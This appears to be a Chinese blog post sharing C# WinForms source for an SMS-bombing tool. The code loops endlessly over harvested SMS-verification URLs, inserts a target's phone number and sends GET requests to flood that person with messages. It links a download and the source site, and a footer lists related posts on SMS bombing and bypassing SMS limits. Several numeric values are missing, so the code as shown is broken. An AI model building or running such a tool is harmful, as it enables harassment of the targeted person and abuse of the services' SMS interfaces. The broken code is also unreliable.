前言

  之前用过android版短信轰炸的apk,于是想反编apk查看源码找短信接口,做一个PC版本的,不料反编失败。后不了了之...

  昨日逛论坛时无意中看到一个网站有此功能,打开一试究竟,效果可以,于是立即把这个功能调用的所有url拷贝下来,做了一个简易版。

  效果图:

  

正文

  短信接口地址:链接(接口地址不是特别多,测试最多接收几十条短信,每个地址之间已经用@分开,连接中的 手机号 三个就是要轰炸人的手机号)

  原理:循环每一个链接,发送get请求,返回结果。(被轰人接收短信的数量跟他在各个网站账号中使用自己手机号的次数成正比)
  问题:结果的显示不是很准确,暂时没有办法判断被轰人是否已接受短信。
  直接贴代码:
  

private delegate void DelegateFun(object obj);
private Thread thread = null;
/// <summary>
/// 发送
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void btnSend_Click(object sender, EventArgs e)
{
if (thread != null)
{
thread.Abort();
}
txtResult.Text = "";
if (!CheckData())
{
return;
} thread = new Thread(new ParameterizedThreadStart(CrossThreadFlush));
thread.IsBackground = true;
thread.Start(txtPhoneID.Text.Trim());
}
/// <summary>
/// 停止
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void btnStop_Click(object sender, EventArgs e)
{
if (thread != null)
{
thread.Abort();
}
}
/// <summary>
/// 退出
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void btnExit_Click(object sender, EventArgs e)
{
Application.Exit();
}
/// <summary>
/// 线程
/// </summary>
/// <param name="phoneID"></param>
private void CrossThreadFlush(object phoneID)
{
while (true)
{
//将sleep和无限循环放在等待异步的外面
Thread.Sleep();
ThreadFunction(phoneID);
}
}
/// <summary>
/// 线程
/// </summary>
/// <param name="phoneID"></param>
private void ThreadFunction(object phoneID)
{
SendRequest(phoneID);
}
private void DelegateSetValue(object resultIndex)
{
if (resultIndex == null || resultIndex.ToString() == "")
{
return;
}
string[] resArray = resultIndex.ToString().Split(',');
StringBuilder sbResult = new StringBuilder("");
sbResult.AppendFormat("成功 {0} 次\r\n", resArray[]);
sbResult.AppendFormat("不确定 {0} 次\r\n", resArray[]);
sbResult.AppendFormat("失败数 {0} 次\r\n", resArray[]);
int total = Convert.ToInt32(resArray[]) + Convert.ToInt32(resArray[]) + Convert.ToInt32(resArray[]);
sbResult.AppendFormat("共轰击 {0} 次\r\n", total);
this.txtResult.Text = sbResult.ToString();
} private void SendRequest(object phoneID)
{
string url = GetUrl();
int successIndex = ;//成功条数
int nullIndex = ;//不确定条数
int failIndex = ;//失败条数
string[] arrStr = url.Split('@'); foreach (var item in arrStr)
{
if (string.IsNullOrEmpty(item))
{
continue;
}
try
{
string urlLast = item.Replace("\r\n", "").Replace("手机号", phoneID.ToString());
string result = PostDataToUrl("", urlLast);
if (!string.IsNullOrEmpty(result))
{
if (txtResult.InvokeRequired)
{
successIndex++;
DelegateFun d = new DelegateFun(DelegateSetValue);
txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
}
}
else
{
if (txtResult.InvokeRequired)
{
nullIndex++;
DelegateFun d = new DelegateFun(DelegateSetValue);
txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
}
}
}
catch (Exception)
{
if (txtResult.InvokeRequired)
{
failIndex++;
DelegateFun d = new DelegateFun(DelegateSetValue);
txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
}
continue;
}
}
}
/// <summary>
/// 发送get请求
/// </summary>
/// <param name="postDataStr"></param>
/// <param name="Url"></param>
/// <returns></returns>
private string PostDataToUrl(string postDataStr, string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url + (postDataStr == "" ? "" : "?") + postDataStr); request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream myResponseStream = response.GetResponseStream();
StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
myResponseStream.Close(); return retString;
}
/// <summary>
/// 数据校验
/// </summary>
/// <returns></returns>
private bool CheckData()
{ if (string.IsNullOrEmpty(txtPhoneID.Text.Trim()))
{
txtPhoneID.Focus();
errorProPhone.SetError(txtPhoneID, "输入手机号");
return false;
}
else
{
errorProPhone.Clear();
}
return true;
}
/// <summary>
/// 获取短信接口
/// </summary>
/// <returns></returns>
private string GetUrl()
{
string url = @"短信接口地址(附件中链接贴过来)";
return url;
}

  应用下载:轰死人补偿命

  附 原地址:http://www.zhasini.ml/

短信轰炸PC版的更多相关文章

  1. 使用python进行短信轰炸

    本文作者:i春秋作家——Hacker1ee 大家好,我是1ee(因为在作家群,就不加Hacker这个前缀了,怕被大佬打..) 刚加入i春秋作家组希望大家多多关照,也欢迎大家找我交流 今天我来讲讲我最近 ...

  2. 关于前端XSS攻击、短信轰炸等问题

    关于前端的XSS攻击: 这里有一篇Ryf老师的写的关于使用  Content Security Policy (简称 CSP 防御)来防御xss攻击,简单来说就是设置白名单,告诉浏览器哪些链接.内容是 ...

  3. 手把手教你实现"短信轰炸"

    手把手教你实现"短信轰炸" 我这里采用简单易懂的语言--"Python3"来实现   实现前的准备:             1,电脑,谷歌浏览器 2,pyth ...

  4. 挖穿各大SRC的短信轰炸

    今天给大家分享一个短信轰炸绕过的姿势,大疆.百度.腾讯等等src都有用此方法绕过的案例. 给大家看一下 这里就不给大家截图了,在src中提交的截图都没有打码,这里放出来不太方便. 这里就只举出大疆的例 ...

  5. 腾讯云短信SDK-精简版

    /** * 腾讯云短信SDK-精简版 * 本模块使用-向腾讯云短信服务器发送请求 * @return json 腾讯服务器返回值-json字符串 */ private function send_sm ...

  6. 遇到短信轰炸,别人换ip调你的短信接口怎么办

    前端开发者很容易暴露自己的请求地址和参数,我们都知道,一个h5页面,按 F12 是可以看到页面的源码的,所以经常很多人会利用这一点恶意调取别人的接口. 我们公司出现了好多次短信接口被大量调用,导致一天 ...

  7. 腾讯短信服务精简版(PHP )

    短信视乎已经被慢慢淡出平常的交流工具队列,但始终抹不去它的存在,短信验证码视乎从未被取代,此外在重要的信息通知的地位也是不可取的的.所以了解短信的使用是开发中很有必要的一环. 腾讯云的短信服务提供有1 ...

  8. 阿里云短信服务Java版

    短信服务管理平台 https://dysms.console.aliyun.com/dysms.htm java短信发送API    https://help.aliyun.com/document_ ...

  9. 利用阿里大于实现发送短信(JAVA版)

    本文是我自己的亲身实践得来,喜欢的朋 友别忘了点个赞哦! 最近整理了一下利用阿里大于短信平台来实现发送短信功能. 闲话不多说,直接开始吧. 首先,要明白利用大于发送短信这件事是由两部分组成: 一.在阿 ...

随机推荐

  1. ShowMessage和MessageDlg消息对话框(VCL)

    ShowMessage一个简单的消息提示: 例如:ShowMessage("xxxx"); MessageDlg(constAnsiString Msg, TMsgDlgType ...

  2. ASP.NET的一般处理程序对图片文件的基本操作

    以一个小项目为例: 验证码: public class VerifyCodeHelper { public VerifyCodeHelper() { this.ran = new Random(); ...

  3. Java Switch(String)

    package shb.java.test; /** * switch支持字符串 * @Package:shb.java.test * @Description: * @author shaobn * ...

  4. EBS常用小常识(转)

    值集: 1.编辑信息:取上一个值集所选的数据.(值集关联) WHERE BANK_ACCOUNT_ID = :$FLEX$.CE_BANK_ACCOUNT_NUM_NAME ORDER BY STAT ...

  5. 夺命雷公狗---微信开发56----微信js-sdk接口开发(3)所有接口功能

    按照上节课程里面的介绍,我们可以先将刚才在signatrue.php里获取到的信息填写进jssdk.htm模版文件里填写各个权限的参数 jssdk.htm代码如下: <!DOCTYPE html ...

  6. PAT乙级 1017. A除以B (20)

    1017. A除以B (20) 时间限制 100 ms 内存限制 65536 kB 代码长度限制 8000 B 判题程序 Standard 作者 CHEN, Yue 本题要求计算A/B,其中A是不超过 ...

  7. zw版【转发·台湾nvp系列Delphi例程】HALCON ClipRegion

    zw版[转发·台湾nvp系列Delphi例程]HALCON ClipRegion procedure TForm1.Button1Click(Sender: TObject);var img : HI ...

  8. mysql去除重复数据

    select可以取别名,delete不能. 1.使用mysql进行delete from操作时,若子查询的 FROM 字句和更新/删除对象使用同一张表,会出现错误. mysql> DELETE ...

  9. 向已写好的多行插入sql语句中添加字段和值

    #region 添加支款方式--向已写好的多行插入sql语句中添加字段和值 public int A_ZhifuFS(int diqu) { ; string strData = @"SEL ...

  10. jboss-as 目录结构(转)

    jboss-as 目录结构(Directory Structure) Directory Description bin Contains startup, shutdown and other sy ...